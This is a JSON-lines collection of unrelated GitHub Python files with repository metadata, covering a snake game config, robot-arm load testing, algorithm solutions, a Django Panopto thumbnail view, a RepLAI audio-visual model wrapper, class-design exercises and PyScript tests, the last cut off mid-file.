650\nSCREEN_WIDTH = 810\n\nMIN_BOARD_HEIGHT = 6\nMIN_BOARD_WIDTH = 6\nSTART_SNAKE_SIZE = 3\n\nBLOCK_SIZE = 30\nHOW_MANY_BLOCKS_WIDTH = 20\nHOW_MANY_BLOCKS_HEIGHT = 15\nGAP_SIZE = 10\n\nBACKGROUND_COLOR = (26, 26, 28)\nBORDER_COLOR = (255, 191, 94)\nSNAKE_COLOR = (121, 62, 16, 100)\nPREY_COLOR = (72, 73, 84)\nOPAQUE_ALPHA = 210\nHSV_STEP = 10\n\nACCELERATION_INTERVAL = 5\nACCELERATION = 2\nPLAYER_SPEED = 0.2\n\nFONT = \"freesansbold.ttf\"\nTEXT_COLOR = (255, 255, 255)\nGAME_OVER = \"GAME OVER\"\nGAME_OVER_SIZE = 60\nGAME_OVER_POSITION = (SCREEN_WIDTH // 2, 3 * SCREEN_HEIGHT // 15)\nSCORE_SIZE = 32\nYOUR_SCORE = \"YOUR SCORE:\"\nHIGH_SCORE = \"HIGH SCORE:\"\nYOUR_SCORE_POSITION = (SCREEN_WIDTH // 2, 5 * SCREEN_HEIGHT // 15)\nYOUR_SCORE_SCORE_POSITION = (SCREEN_WIDTH // 2, 6 * SCREEN_HEIGHT // 15)\nHIGH_SCORE_POSITION = (SCREEN_WIDTH // 2, 8 * SCREEN_HEIGHT // 15)\nHIGH_SCORE_SCORE_POSITION = (SCREEN_WIDTH // 2, 9 * SCREEN_HEIGHT // 15)\nCONTINUE = \"Press R to try again or Q to quit.\"\nCONTINUE_SIZE = 20\nCONTINUE_POSITION = (SCREEN_WIDTH // 2, 11 * SCREEN_HEIGHT // 15)\nSCORE = \"SCORE: \"\nSCORE_POSITION = (\n SCREEN_WIDTH // 40,\n SCREEN_HEIGHT - SCREEN_HEIGHT // 17,\n)\nSCORE_SCORE_POSITION = (SCORE_POSITION[0] + SCREEN_WIDTH // 5, SCORE_POSITION[1])\n\nFPS = 60\n\nSAVEFILE = \"high_score.txt\"","repo_name":"DallogFheir/snakes-prey","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33384723241","text":"#!/usr/bin/env python\n\nfrom interbotix_xs_modules.arm import InterbotixManipulatorXS\nfrom sensor_msgs.msg import JointState\nfrom std_msgs.msg import Bool \nimport rospy\nimport time \n\nclass State_machine:\n\n\tdef __init__(self):\n\t\tself.state = \"Start\"\n\t\tself.load = 0\n\t\tself.empty_cup_load = 0\n\t\tself.moment = 0\n\t\tself.start_time = 0\n\t\tself.timer_running = False\n\t\n\tdef start_timer(self):\n\t\tself.start_time = time.time()\n\t\tself.timer_running = True\n\t\n\tdef stop_timer(self):\n\t\tself.timer_running = False\n\t\n\tdef reset_timer(self):\n\t\tself.start_time = time.time()\n\t\tself.timer_running = True\n\t\t\n\tdef time_elapsed(self):\n\t\telapsed = time.time() - self.start_time\n\t\tprint( \"Time elapsed: \" + str(elapsed) )\n\t\treturn elapsed\n\t\t\n\ndef set_wrist_pose():\n\tprint( \"Moving arm into position...\" )\n\tneutral_joint_position = [0, 0, 0.506, -0.531, 0]\n\tbot.arm.set_joint_positions( neutral_joint_position )\n\trospy.sleep( 1 )\n\t\n\ndef listener():\n\trospy.Subscriber( \"/rx150/joint_states\", JointState, check_load )\n\ndef check_load( joint_states ):\n\tglobal jointLoad\n\tjointLoad = joint_states.effort[3] \n\ndef process_state( State ):\n\tprint( \"Load: \" + str(State.load) + \"\tState: \" + State.state)\n\tif not(State.load <= -115 and State.load >= -134.5):\n\t\tprint( \"Load not initialised correctly\" )\n\t\treset_load = [0, -1.57, 0, -0.531, 0]\n\t\tbot.arm.set_joint_positions( reset_load )\n\t\trospy.sleep( 1 )\n\t\tneutral_joint_position = [0, 0, 0.506, -0.531, 0]\n\t\tbot.arm.set_joint_positions( neutral_joint_position )\n\telse:\n\t\tprint( \"Ready to receive cup\" )\n\treturn State\n\n\nif __name__=='__main__':\n\tbot = InterbotixManipulatorXS(\"rx150\", \"arm\", \"gripper\")\n\tset_wrist_pose()\n\tlistener()\n\trobot_arm = State_machine()\n\twhile not rospy.is_shutdown():\n\t\t\n\t\trospy.sleep( 0.05 )\n\t\trobot_arm.load = jointLoad\n\t\trobot_arm = process_state( robot_arm )\n\n\n\n","repo_name":"Crystal-Rose/Final_Year_Project","sub_path":"final_year_project/repo/load_testing.py","file_name":"load_testing.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4099855260","text":"#!/usr/bin/python -t\n\n# heap\n# 使用 Heapq 的方法\n# 最快,因为不需要创建额外空间。\n# 时间复杂度和其他的算法一致,都是 \n# O(NlogK) N 是所有元素个数\n\n\nimport heapq\n\nclass Solution:\n \"\"\"\n @param arrays: k sorted integer arrays\n @return: a sorted array\n \"\"\"\n def mergekSortedArrays(self, arrays):\n # write your code here\n ret = []\n heap = []\n \n for index, array in enumerate(arrays):\n if len(array) == 0:\n continue\n heapq.heappush(heap, (array[0], index, 0))\n \n while len(heap):\n val, x, y = heapq.heappop(heap)\n ret.append(val)\n if y + 1 < len(arrays[x]):\n heapq.heappush(heap, (arrays[x][y+1], x, y+1))\n \n return ret\n \n\n# divid and conqur\n\n\nclass Solution:\n \"\"\"\n @param arrays: k sorted integer arrays\n @return: a sorted array\n \"\"\"\n def mergekSortedArrays(self, arrays):\n # write your code here\n n = len(arrays)\n \n return self.helper(arrays, 0, n-1)\n \n def helper(self, arrays, start, end):\n if start >= end:\n return arrays[start]\n \n mid = (start + end) /2\n \n left = self.helper(arrays, start, mid)\n right = self.helper(arrays, mid+1, end)\n \n return self.merge(left, right)\n \n def merge(self, l1, l2):\n ret = []\n \n len_l1 = len(l1)\n index1 = 0\n len_l2 = len(l2)\n index2 = 0\n \n while index1 < len_l1 and index2 < len_l2:\n if l1[index1] < l2[index2]:\n ret.append(l1[index1])\n index1 += 1\n else:\n ret.append(l2[index2])\n index2 += 1\n \n if index1 < len_l1:\n ret.extend(l1[index1:])\n if index2 < len_l2:\n ret.extend(l2[index2:])\n \n return ret\n \n","repo_name":"boknowswiki/mytraning","sub_path":"lintcode/python/0486_merge_k_sorted_array.py","file_name":"0486_merge_k_sorted_array.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2080961773","text":"import datetime\nimport logging\nimport pickle\nimport re\nimport urllib.request, urllib.error, urllib.parse\n\nimport simplejson as json\nfrom authz_group import Group\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.utils import timezone\nfrom panopto_client import PanoptoAPIException\nfrom panopto_client.remote_recorder import RemoteRecorderManagement\nfrom panopto_tools.models import PersistentData\nfrom PIL import Image\nfrom userservice.user import UserService\n\nlogger = logging.getLogger(__name__)\n\n_api = RemoteRecorderManagement()\n\n\n@login_required\ndef preview(request, **kwargs):\n user = UserService().get_original_user()\n if not Group().is_member_of_group(user, settings.PANOPTO_PREVIEW_GROUP):\n return HttpResponseRedirect(\"/\")\n\n recorder_id = kwargs.get('recorder_id')\n\n try:\n thumb = get_recorder_thumbnail(recorder_id)\n return HttpResponse(thumb.read(), content_type=\"image/jpeg\")\n except (PanoptoAPIException, IOError) as err:\n logger.exception(err)\n red = Image.new('RGBA', (1, 1), (255, 0, 0, 0))\n response = HttpResponse(content_type=\"image/jpeg\")\n red.save(response, \"JPEG\")\n return response\n\n\ndef get_api_recorder_details(api, recorder_id):\n if re.match(r'^\\d+$', recorder_id):\n recorders = api.getRemoteRecordersByExternalId(recorder_id)\n else:\n recorders = api.getRemoteRecordersById(recorder_id)\n\n if not (recorders and hasattr(recorders, 'RemoteRecorder')):\n return None\n\n return recorders.RemoteRecorder\n\n\ndef get_private_recorder_details(recorder_id):\n key = 'RecorderDetails_%s' % recorder_id\n expiration = timezone.now() - datetime.timedelta(hours=1)\n\n try:\n details = PersistentData.objects.get(name=key)\n if details.timestamp > expiration:\n return json.loads(details.value)\n except PersistentData.DoesNotExist:\n details = PersistentData(name=key)\n\n url = 'https://%s/Panopto/Api/remoteRecorders/%s' % \\\n (settings.PANOPTO_SERVER, recorder_id)\n\n request = urllib.request.Request(url)\n _add_cookies(request)\n result = urllib.request.urlopen(request)\n\n details.value = result.read()\n details.save()\n\n return json.loads(details.value)\n\n\ndef get_recorder_preview_url(recorder_id):\n key = 'ThumbnailURL_%s' % recorder_id\n expiration = timezone.now() - datetime.timedelta(hours=1)\n\n try:\n url = PersistentData.objects.get(name=key)\n if url.timestamp > expiration:\n return url.value\n except PersistentData.DoesNotExist:\n url = PersistentData(name=key)\n\n recorders = get_api_recorder_details(_api, recorder_id)\n\n if recorders is None:\n raise RecorderException(\"No Recorder Found\")\n\n for recorder in recorders:\n recorder.PrivateDetails = get_private_recorder_details(recorder.Id)\n for device in recorder.PrivateDetails['Devices']:\n if recorder.PrivateDetails['PrimaryVideoDeviceId'] == \\\n device['DeviceId']:\n url.value = device['VideoPreviewUrl']\n url.save()\n return url.value\n\n raise RecorderException(\"Recorder Preview URL Not Found\")\n\n\ndef get_recorder_thumbnail(recorder_id):\n url = get_recorder_preview_url(recorder_id)\n\n request = urllib.request.Request(url)\n _add_cookies(request)\n result = urllib.request.urlopen(request)\n\n return result\n\n\ndef _add_cookies(request):\n cookiejar = _api._api.options.transport.cookiejar\n cookiejar.add_cookie_header(request)\n\n key = 'CookieJar'\n try:\n c = PersistentData.objects.get(name=key)\n except PersistentData.DoesNotExist:\n c = PersistentData(name=key)\n\n if not request.has_header('Cookie'):\n # try saved cookie\n cookiejar._cookies = pickle.loads(eval(c.value))\n cookiejar.add_cookie_header(request)\n\n if not request.has_header('Cookie'):\n # make an authenticated request through public api\n _api.listRecorders()\n cookiejar.add_cookie_header(request)\n\n c.value = str(pickle.dumps(cookiejar._cookies))\n c.save()\n","repo_name":"uw-asa/django-panopto-tools","sub_path":"panopto_tools/views/recorderpreview.py","file_name":"recorderpreview.py","file_ext":"py","file_size_in_byte":4212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12193099477","text":"def main():\n\n numbers = [3, 1, 4, 1, 5, 9, 2]\n numbers.remove(3)\n numbers.insert(0, 10)\n numbers.remove(2)\n numbers.insert(6, 1)\n print(numbers)\n numbers2 = slice(2, 6)\n print(numbers[numbers2])\n if 9 in numbers:\n print(\"yes\")\n else:\n print(\"no\")\n\n# question 1: will print 3\n# question 2: starts at the end of the list and works to the front\n# question 3: will print 1\n# question 4: starts at beginning goes till end\n# question 5: will print 1 and 5\n# question 6: will look through list for the when the number 5 appears\n# question 7: will look for 7 in list\n# question 8: will look through list for 3, won't find since expecting int\n# question 9 : will add need to have equals new list as trying to combine 2 lists would need to .append if wanted to\n# add them to the original list\n\nmain()\n","repo_name":"ProperBeowulf/cp1404practicals","sub_path":"prac_04/lists_warmup.py","file_name":"lists_warmup.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35211421545","text":"# https://www.acmicpc.net/problem/7570\n\n\nimport sys\n\ninput = lambda: sys.stdin.readline()\n\n\ndef solution(n, nums):\n dp = [0 for _ in range(n + 1)]\n result = 0\n for num in nums:\n dp[num] = dp[num - 1] + 1\n result = max(result, dp[num])\n return n - result\n\n\nif __name__ == \"__main__\":\n n = int(input())\n nums = list(map(int, input().split()))\n print(solution(n, nums))\n","repo_name":"HyungJunGoo/AlgorithmProblems","sub_path":"Baekjun/DP/7570.py","file_name":"7570.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20785284972","text":"#!/usr/bin/env python\n\"\"\"\nInitiate the Kivy main loop.\n\"\"\"\n\nfrom typing import final\n\nimport storage\nimport ui\nimport utils\n\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.recycleview import RecycleView\nfrom kivy.properties import ListProperty, BooleanProperty\n\n# Debugging\nfrom kivy.logger import Logger\n\n\n@final\nclass Armory(BoxLayout):\n \"\"\"The starting point of the app.\"\"\"\n items = ListProperty([])\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.orientation = \"vertical\"\n\n config = utils.read_config()\n\n # Armor item button bar\n armor_button_bar = self._create_button_bar(config[\"armor\"])\n\n # Weapon button bar\n weapon_button_bar = self._create_button_bar(config[\"weapons\"])\n\n # Item header bar\n item_header = BoxLayout(size_hint=(1, None), size_hint_y=None, height=25)\n item_name = Label(text=\"Name\", bold=True)\n item_reqs = Label(text=\"Requirements\", bold=True)\n item_quality = Label(text=\"Quality\", bold=True)\n item_location = Label(text=\"Location\", bold=True)\n item_notes = Label(text=\"Notes\", bold=True)\n item_header.add_widget(item_name)\n item_header.add_widget(item_reqs)\n item_header.add_widget(item_quality)\n item_header.add_widget(item_location)\n item_header.add_widget(item_notes)\n\n # Populate item table - default item view\n armor_button_bar.children[0].trigger_action()\n\n # Item list\n item_list = BoxLayout()\n recycle_view = RecycleView()\n recycle_view.add_widget(ui.SelectableRecycleGridLayout())\n recycle_view.data=[{\"text\": str(x)} for x in self.items]\n recycle_view.orientation = \"vertical\"\n recycle_view.viewclass = \"SelectableButton\"\n item_list.add_widget(recycle_view)\n\n self.add_widget(armor_button_bar)\n self.add_widget(weapon_button_bar)\n self.add_widget(item_header)\n self.add_widget(item_list)\n\n def _get_items(self, instance):\n \"\"\"Populate the list of items with elements from the DB\"\"\"\n item_type = instance.text.lower()\n\n # Temporary DB mock data\n data = [[\"foo\", \"bar\"] for x in range(40)]\n\n for row in data:\n for item in row:\n self.items.append(item)\n\n def _create_button_bar(self, items):\n \"\"\"Create a bar with buttons for given item types.\"\"\"\n item_button_bar = BoxLayout(size_hint=(1, None), size_hint_y=None, height=25)\n\n for item in items:\n button = Button(text=item.capitalize())\n button.bind(on_press=self._get_items)\n item_button_bar.add_widget(button)\n\n return item_button_bar\n\n@final\nclass ArmoryApp(App):\n \"\"\"Main entry point into the Kivy main loop.\"\"\"\n title = \"Armory v0.1\"\n\n def build(self):\n self.icon = \"../assets/shield.ico\"\n return Armory()\n\nif __name__ == \"__main__\":\n ArmoryApp().run()\n","repo_name":"lb1wh/armory","sub_path":"armory/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12891283668","text":"from typing import List\n\n\nclass Solution:\n def buildArray(self, target: List[int], n: int) -> List[str]:\n res = []\n s = set(target)\n for i in range(1, target[-1] + 1):\n res.append(\"Push\")\n if i not in s:\n res.append(\"Pop\")\n return res\n\n\nclass Solution2:\n def buildArray(self, target: List[int], n: int) -> List[str]:\n prev, res = 0, []\n for t in target:\n res += ['Push', 'Pop'] * (t - prev - 1)\n res.append('Push')\n prev = t\n return res\n\n\ndef test():\n sol = Solution()\n\n print('Test 1 ... ', end='')\n assert sol.buildArray(target=[1, 3], n=3) == [\"Push\", \"Push\", \"Pop\", \"Push\"]\n print('ok')\n\n print('Test 2 ... ', end='')\n assert sol.buildArray(target=[1, 2, 3], n=3) == [\"Push\", \"Push\", \"Push\"]\n print('ok')\n\n print('Test 3 ... ', end='')\n assert sol.buildArray(target=[1, 2], n=4) == [\"Push\", \"Push\"]\n print('ok')\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"Vskesha/leetcode_solutions","sub_path":"leetcode_solutions/p1441_build_an_array_with_stack_operations.py","file_name":"p1441_build_an_array_with_stack_operations.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"38750719104","text":"import sys\nimport os\n\n# This module is relatively simple, it's more or less a straightforward clear up\n\nRMDIR = 'rclone rmdirs %s/\"%s\"/ --leave-root -v'\n\nclass Colors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\ndef rmdir(config):\n\n try:\n folder = input(\"Remove Airing or Premiered folders? [a] or [p]: \")\n except:\n print(\"Exiting...\")\n sys.exit(1)\n\n if folder.lower() == \"a\": option = 1\n elif folder.lower() == \"p\": option = 2\n else: \n print(\"Please enter a valid input!\")\n return\n\n for r in config.getList():\n print(\"%sNOTICE%s: Removing from %s%s%s...\" \n % (Colors.WARNING, Colors.ENDC, Colors.OKBLUE, r[0], Colors.ENDC), end=\" \")\n sys.stdout.flush()\n\n # We don't need to check for empty folders, cause rmdir doesn't do anything\n os.system(RMDIR %(r[0], r[option]))\n print(\"Done\")\n\n return\n\n\n","repo_name":"shunjuu/Izumi","sub_path":"core/tools/src/rmdir.py","file_name":"rmdir.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39515157786","text":"\"\"\"\nCustom class for loading audio-visual model and extract features\nModified from https://github.com/s3prl/s3prl/blob/main/s3prl/upstream/example/expert.py\n\"\"\"\n\nimport sys\nfrom collections import OrderedDict\nfrom typing import Dict, List, Tuple, Union\n\nimport torch\nimport torch.nn as nn\n\nfrom . import replai\nfrom .replai import models\nfrom .replai.data.builder import build_transforms\n\nsys.modules[\"replai\"] = replai # create alias for unpickling\n\n\nfrom munch import DefaultMunch\nfrom torch import Tensor\nfrom torch.nn.utils.rnn import pad_sequence\n\n\nclass UpstreamExpert(nn.Module):\n def __init__(self, ckpt: str = None, model_config: str = None, **kwargs):\n \"\"\"\n Args:\n ckpt:\n checkpoint path for loading pretrained weights.\n\n model_config:\n config path for your model.\n \"\"\"\n super().__init__()\n\n # load model weights\n _weights = torch.load(ckpt)\n _weights = _weights[\"model\"]\n _weights = OrderedDict(\n {\n k[16:]: _weights[k]\n for k in _weights.keys()\n if k.startswith(\"module.backbone\")\n }\n )\n\n # hardcode model config\n model_conf = DefaultMunch.fromDict(\n {\n \"audio\": {\n \"arch\": \"avid_spec_cnn_9\",\n \"args\": {\"channels\": 1, \"pretrained\": False},\n \"sync_bn\": False,\n \"outp_dim\": 512,\n },\n \"video\": {\n \"arch\": \"avid_r2plus1d_18\",\n \"args\": {\"pretrained\": False},\n \"sync_bn\": False,\n \"outp_dim\": 512,\n },\n }\n )\n\n # create model and load weights\n self.backbone = models.build_audio_video_model(model_conf, remove_head=True)\n self.backbone.load_state_dict(\n _weights, strict=True\n )\n\n self.audio_sample_rate = 16000\n self.video_frame_size = (112, 112)\n self.video_frame_rate = 16\n\n def preprocess_video(self, video, video_frame_rate):\n \"\"\"\n Replace this function to preprocess videos into your input format\n video: (video_length, video_channels, height, width), where video_channels is usually 3 for RGB or 1 for greyscale\n in RepLAI, the default length is 0.5 secs for video, resulting in 8 frames (16FPS)\n \"\"\"\n # Resample video\n # (from https://github.com/pytorch/vision/blob/5b07d6c9c6c14cf88fc545415d63021456874744/torchvision/datasets/video_utils.py#L278)\n step = float(video_frame_rate) / self.video_frame_rate\n if step.is_integer():\n # optimization: if step is integer, don't need to perform\n # advanced indexing\n step = int(step)\n idxs = slice(None, None, step)\n else:\n num_frames = max(int(len(video) / step),1)\n idxs = torch.arange(num_frames, dtype=torch.float32) * step\n idxs = idxs.floor().to(torch.int64)\n video = video[idxs]\n\n _video_transform = build_transforms(\n cfg=DefaultMunch.fromDict(\n {\n \"video\": {\n \"name\": \"ResizeCropFlip\",\n \"args\": {\n \"min_size\": 128,\n \"max_size\": 180,\n \"crop_size\": self.video_frame_size[0],\n },\n \"data_shape\": [\n 3,\n len(video),\n self.video_frame_size[0],\n self.video_frame_size[1],\n ],\n },\n }\n ),\n augment=False,\n )\n # Original uses OpenCV for resizing numpy tensors\n clips = {\n \"video\": (video.numpy().transpose(0, 2, 3, 1), self.video_frame_rate),\n }\n\n clips = _video_transform(clips)\n\n # output video shape (channel, length, w, h)\n return clips[\"video\"]\n\n def preprocess_audio(self, audio, audio_sample_rate):\n \"\"\"\n Replace this function to preprocess audio waveforms into your input format\n audio: (audio_channels, audio_length), where audio_channels is usually 1 or 2\n In RepLAI, they use 2.0 sec audio with raw sample rate of 32khz\n It then first downsample to 16kHz and take 128 temporal frames on mel.\n So I follow the same proportion\n \"\"\"\n if len(audio.shape) == 2:\n audio = audio.mean(dim=0)\n\n _audio_length_sec = len(audio) / audio_sample_rate\n num_temporal_frames = int(_audio_length_sec / 2.0 * 128)\n _audio_transform = build_transforms(\n cfg=DefaultMunch.fromDict(\n {\n \"audio\": {\n \"name\": \"ResampleLogMelSpectrogram\",\n \"args\": {\n \"raw_sample_rate\": audio_sample_rate,\n \"audio_rate\": self.audio_sample_rate,\n \"mel_window_size\": 32,\n \"mel_step_size\": 16,\n \"num_mels\": 80,\n \"num_temporal_frames\": num_temporal_frames,\n },\n \"data_shape\": [1, num_temporal_frames, 80],\n }\n }\n ),\n augment=False,\n )\n\n clips = {\n \"audio\": (audio, audio_sample_rate),\n }\n\n clips = _audio_transform(clips)\n\n return clips[\"audio\"]\n\n def forward(\n self, source: List[Tuple[Tensor, Tensor]]\n ) -> Dict[str, Union[Tensor, List[Tensor]]]:\n \"\"\"\n Replace this function run a forward pass with your model\n source: list of audio-video Tensor tuples\n [(wav1,vid1), (wav2,vid2), ...]\n in your input format\n \"\"\"\n bsz = len(source)\n audio, video = zip(*source)\n\n # Collate audio and video into batch\n audio = [a.squeeze() for a in audio]\n wavs = pad_sequence(audio, batch_first=True).unsqueeze(dim=1)\n # Pad video along time axis, video starts with channel x time x height x width\n video = [v.permute(1, 0, 2, 3) for v in video]\n videos = pad_sequence(video, batch_first=True).permute(0, 2, 1, 3, 4)\n # videos = torch.stack(video)\n\n assert wavs.shape[0] == bsz\n assert videos.shape[0] == bsz\n assert videos.shape[-2] == 112\n assert videos.shape[-1] == 112\n\n # Run through audio and video encoders\n video_feats = self.backbone[\"video\"](videos, return_embs=True)\n audio_feats = self.backbone[\"audio\"](wavs, return_embs=True)\n\n # use the output of last CNN layer before pooling\n video_feats = video_feats[\"conv5x\"]\n audio_feats = audio_feats[\"conv5x\"]\n\n # convert video_feats to shape (bsz, T', hid_dim)\n video_feats = video_feats.flatten(start_dim=2, end_dim=-1)\n video_feats = video_feats.permute(0, 2, 1)\n\n # convert video_feats to shape (bsz, T', hid_dim)\n audio_feats = audio_feats.flatten(start_dim=2, end_dim=-1)\n audio_feats = audio_feats.permute(0, 2, 1)\n\n # Return intermediate layer representations for potential layer-wise experiments\n return {\n \"video_feats\": [video_feats],\n \"audio_feats\": [audio_feats],\n \"fusion_feats\": [],\n }","repo_name":"roger-tseng/av-superb","sub_path":"upstream_models/replai/expert.py","file_name":"expert.py","file_ext":"py","file_size_in_byte":7582,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"78"} +{"seq_id":"69879860091","text":"class Employee:\n \"\"\"\n A class describing an Employee for an employee management system\n\n Properties:\n first_name: string, the first name of the employee\n last_name: string, the last name of the employee\n salary: int, the employee's salary\n\n Methods:\n calculate_raise: calculates the employee's raise\n apply_raise: applies the employee's raise\n \"\"\"\n\n def __init__(self, first_name=\"\", last_name=\"\", salary=0):\n \"\"\" Initialises the properties \"\"\"\n self._first_name = first_name\n self._last_name = last_name\n self._salary = salary\n\n @property\n def first_name(self):\n \"\"\" first_name getter \"\"\"\n if self._first_name:\n return self._first_name\n else:\n return \"First name not set\"\n \n @first_name.setter\n def first_name(self, new_value):\n \"\"\"\n first_name setter method\n \n Args:\n new_value: string specifying the new first name\n \n Returns:\n None\n \n Raises:\n ValueError: if the new string has a zero length\n \"\"\"\n if len(new_value) > 0:\n self._first_name = new_value\n else:\n raise ValueError(\"Cannot set the value!\")\n \n @property\n def last_name(self):\n \"\"\" last_name getter \"\"\"\n if self._last_name:\n return self._last_name\n else:\n return \"Last name not set\"\n \n @last_name.setter\n def last_name(self, new_value):\n \"\"\"\n last_name setter method\n \n Args:\n new_value: string specifying the new last name\n \n Returns:\n None\n \n Raises:\n ValueError: if the new string has a zero length\n \"\"\"\n if len(new_value) > 0:\n self._last_name = new_value\n else:\n raise ValueError(\"Cannot set the value!\")\n \n @property\n def salary(self):\n \"\"\" salary getter \"\"\"\n return self._salary\n \n @salary.setter\n def salary(self, new_value):\n \"\"\"\n salary setter method\n \n Args:\n new_value: string specifying the new salary\n \n Returns:\n None\n \n Raises:\n Exception: if the new salary is less than zero\n ValueError: if the new salary is not an integer\n \"\"\"\n if isinstance(new_value, int):\n if new_value < 0:\n raise Exception(\"The salary cannot be less than zero\")\n else:\n self._salary = new_value\n else:\n raise ValueError(\"The new value must be a whole number!\")\n \n def calculate_raise(self):\n \"\"\"\n calculate_raise method\n\n Args:\n None\n \n Returns:\n int of 10% of the current salary\n\n Raises:\n None\n \"\"\"\n return int(self.salary * 0.1)\n \n def apply_raise(self):\n \"\"\"\n apply_raise method\n\n Args:\n None\n \n Returns:\n int of current salary plus the calculated raise\n\n Raises:\n None\n \"\"\"\n\n self.salary += self.calculate_raise()\n return self.salary\n \n def __str__(self):\n \"\"\" String representation of the object \"\"\"\n return f'Employee({self.first_name},{self.last_name},{self.salary})'\n\n\nclass Developer(Employee):\n \"\"\"\n A class describing a Developer for an employee management system\n Subclass of Employee\n\n Properties:\n language: string, the programming language the developer uses\n \"\"\"\n\n def __init__(self, first_name=\"\", last_name=\"\", salary=0):\n \"\"\" Initialises the properties \"\"\"\n super().__init__(first_name, last_name, salary)\n self._language = \"\"\n self._language_list = [\"php\", \"python\", \"javascript\"]\n \n @property\n def language(self):\n \"\"\" language getter \"\"\"\n if self._language:\n return self._language\n else:\n return \"Language not set\"\n\n @language.setter\n def language(self, new_value):\n \"\"\"\n language setter method\n \n Args:\n new_value: string specifying the new language\n \n Returns:\n None\n \n Raises:\n ValueError: if the new string is not in the permitted list\n \"\"\"\n if new_value.lower() not in self._language_list:\n raise Exception(\"Error: language must be in the list\")\n else:\n self._language = new_value\n \n def calculate_raise(self):\n \"\"\"\n calculate_raise polymorphic method\n\n Args:\n None\n \n Returns:\n int of a percentage of the current salary\n\n Raises:\n Exception: if the language is not set\n \"\"\"\n if self.language.lower() == \"php\":\n rate = 0.15\n elif self.language.lower() == \"javascript\":\n rate = 0.2\n elif self.language.lower() == \"python\":\n rate = 0.25\n else:\n raise Exception(\"Error: language not set\")\n \n return int(self.salary * rate)\n \n def __str__(self):\n \"\"\" String representation of the object \"\"\"\n return f'Developer({self.first_name},{self.last_name},{self.salary},{self.language})'\n \n","repo_name":"lechien73/oop_walkthrough","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41189236319","text":"import re\n\nfrom .support import PyScriptTest\n\n\nclass TestBasic(PyScriptTest):\n def test_pyscript_hello(self):\n self.pyscript_run(\n \"\"\"\n <py-script>\n print('hello pyscript')\n </py-script>\n \"\"\"\n )\n # this is a very ugly way of checking the content of the DOM. If we\n # find ourselves to write a lot of code in this style, we will\n # probably want to write a nicer API for it.\n inner_html = self.page.locator(\"py-script\").inner_html()\n pattern = r'<div id=\"py-.*\">hello pyscript</div>'\n assert re.search(pattern, inner_html)\n\n def test_execution_in_order(self):\n \"\"\"\n Check that they py-script tags are executed in the same order they are\n defined\n \"\"\"\n self.pyscript_run(\n \"\"\"\n <py-script>import js; js.console.log('one')</py-script>\n <py-script>js.console.log('two')</py-script>\n <py-script>js.console.log('three')</py-script>\n <py-script>js.console.log('four')</py-script>\n \"\"\"\n )\n assert self.console.log.lines == [\n self.PY_COMPLETE,\n \"one\",\n \"two\",\n \"three\",\n \"four\",\n ]\n\n def test_escaping_of_angle_brackets(self):\n \"\"\"\n Check that py-script tags escape angle brackets\n \"\"\"\n self.pyscript_run(\n \"\"\"\n <py-script>import js; js.console.log(1<2, 1>2)</py-script>\n <py-script>js.console.log(\"<div></div>\")</py-script>\n \"\"\"\n )\n assert self.console.log.lines == [self.PY_COMPLETE, \"true false\", \"<div></div>\"]\n\n def test_paths(self):\n self.writefile(\"a.py\", \"x = 'hello from A'\")\n self.writefile(\"b.py\", \"x = 'hello from B'\")\n self.pyscript_run(\n \"\"\"\n <py-config>\n paths = [\"./a.py\", \"./b.py\"]\n </py-config>\n\n <py-script>\n import js\n import a, b\n js.console.log(a.x)\n js.console.log(b.x)\n </py-script>\n \"\"\"\n )\n assert self.console.log.lines == [\n self.PY_COMPLETE,\n \"hello from A\",\n \"hello from B\",\n ]\n\n def test_packages(self):\n self.pyscript_run(\n \"\"\"\n <py-config>\n # we use asciitree because it's one of the smallest packages\n # which are built and distributed with pyodide\n packages = [\"asciitree\"]\n </py-config>\n\n <py-script>\n import js\n import asciitree\n js.console.log('hello', asciitree.__name__)\n </py-script>\n <py-repl></py-repl>\n \"\"\"\n )\n assert self.console.log.lines == [\n self.PY_COMPLETE,\n \"Loading asciitree\", # printed by pyodide\n \"Loaded asciitree\", # printed by pyodide\n \"hello asciitree\", # printed by us\n 